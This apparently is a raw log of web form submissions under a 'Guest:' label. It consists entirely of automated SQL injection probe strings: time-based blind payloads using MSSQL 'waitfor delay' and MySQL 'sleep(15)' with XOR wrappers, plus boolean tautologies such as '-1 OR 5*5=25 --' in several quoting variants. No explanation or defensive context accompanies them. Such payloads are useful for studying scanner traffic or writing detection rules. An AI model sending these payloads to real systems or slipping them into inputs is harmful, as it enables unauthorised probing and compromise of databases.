Guest:
555KMVYcZ1K'; waitfor delay '0:0:15' -- 


-1 OR 5*5=25 --

-1 OR 5*5=25

-1' OR 5*5=25 --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'YWHzFOvP'='

-1" OR 5*5=25 or "9Jzbt7k9"="

if(now()=sysdate(),sleep(15),0)

Guest:
555KMVYcZ1K'; waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555KMVYcZ1K'; waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z